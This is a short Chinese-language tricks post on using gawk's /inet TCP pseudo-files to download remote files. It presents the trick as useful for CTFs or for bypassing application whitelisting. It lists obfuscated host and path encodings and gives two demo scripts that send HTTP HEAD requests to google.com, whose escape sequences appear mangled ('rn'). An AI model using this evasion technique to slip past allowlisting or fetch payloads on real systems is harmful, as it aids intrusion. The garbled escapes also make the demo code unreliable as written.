【奇技淫巧】利用AWK实现远程文件下载

某些极端场景下（比如CTF），或者绕过应用白名单限制，使用AWK来下载远程文件：
可利用的有：

/inet4/tcp/0/google.com/80
/inet/tcp/0/google.com/80
/inet/tcp/0/172.217.10.142/80
/inet/tcp/0/2899905166/80
/inet/tcp/000/62707171716065616666/80/0080
/i156e164/164cp/0000/62707171716065616666/00080

demo：

awk 'BEGIN {
  RS = ORS = "rn"
  HTTPCon = "/inet4/tcp/0/google.com/80"
  print "HEAD / HTTP/1.1rnConnection: closern"|& HTTPCon
  while ((HTTPCon |& getline) > 0)
     print $0
  close(HTTPCon)
}' 2>/dev/null

awk 'BEGIN {
  RS = ORS = "rn"
  HTTPCon = "/inet/tcp/0/2899905166/80"
  print "HEAD / HTTP/1.1rnConnection: closern"|& HTTPCon
  while ((HTTPCon |& getline) > 0)
     print $0
  close(HTTPCon)
}' 2>/dev/null

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